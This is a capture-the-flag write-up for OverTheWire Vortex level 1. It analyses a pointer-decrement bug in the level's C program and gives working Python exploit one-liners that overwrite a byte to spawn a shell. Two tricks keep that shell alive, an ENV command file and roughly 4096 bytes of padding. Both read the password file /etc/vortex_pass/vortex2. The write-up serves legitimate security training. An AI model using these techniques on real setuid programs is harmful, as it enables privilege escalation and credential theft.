OverTheWire Vortex Level 1

The level can be found here. After analyzing the C source code, we get the flow and information needed to exploit:

1. There's a 512 bytes buffer and a pointer ptr that initially points in the middle
2. For every '\' character read, the pointer is decremented
3. For every character read (different than '\n' and '\') we have the possibility to set a byte in ptr (ptr++[0] = x;)  
4. The e() macro spawns an interactive bash shell (-i parameter) and also replaces the image of the current process with /bin/sh, through execlp function. Important to remember, from here: "By default, file descriptors remain open across an execve()".
5. The condition to trigger shell execution can be easily accomplished, given 3.

Taken these into account, we try to launch a shell and execute a command:

$ python -c 'print "\\"*257 + "\xca" + "A" + "\nwhoami"' | ./vortex1
$ 

The shell exits immediately, without executing the command. Now it's time to check what happens, how bash handles EOF.

Method 1)

Detailed on this post. The idea is that  when execlp is executed, the image of the current process is replaced with  /bin/sh. But execlp doesn't clear STDIN.  So the unparsed input it's still be there. The shell is exiting immediately, because it receives an EOF. To overcome this, something in the bash manual comes to help: "When invoked as an interactive shell with the name sh, bash looks for  the variable  ENV,  expands  its value if it is defined, and uses the expanded value as the name of a file to read and execute".
So we create a new file containing our commands, set the ENV variable before and get the password:

$ vi /tmp/cmd2
cat /etc/vortex_pass/vortex2

$ python -c 'print "\\"*257 + "\xca" + "A"' | env ENV=/tmp/cmd2 /vortex/vortex1
******

Method 2)

Some solutions report that a long string before the command causes the command to be actually executed, without an apparent explanation. Like this:

$ python -c 'print  "\\"*0x101+"\xcaA\n"+"A"*4000+"\nwhoami\ncat /etc/vortex_pass/vortex2"' |/vortex/vortex1
$ sh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: not found
$ vortex2
$ ******
$ 

To understand this, the following article explains the buffering applied to standard streams, with an example with two processes forked  by bash with a pipe between them: $ command1 | command2, similar with our case.  The idea is that the kernel uses 4096 bytes circular buffers (for stdin, stdout, and pipe). Being circular, the 4000 characters together with the existent content fill the buffer, and the next part of input does not contain an EOF and commands are executed. Actually, instead of the 4000 "A"s, we just need 4096-257-2-1=3836 extra characters.

$ python -c 'print  "\\"*0x101+"\xcaA\n"+"A"*3836+"\nwhoami\ncat /etc/vortex_pass/vortex2"' |/vortex/vortex1
$ $ vortex2
$ ******
$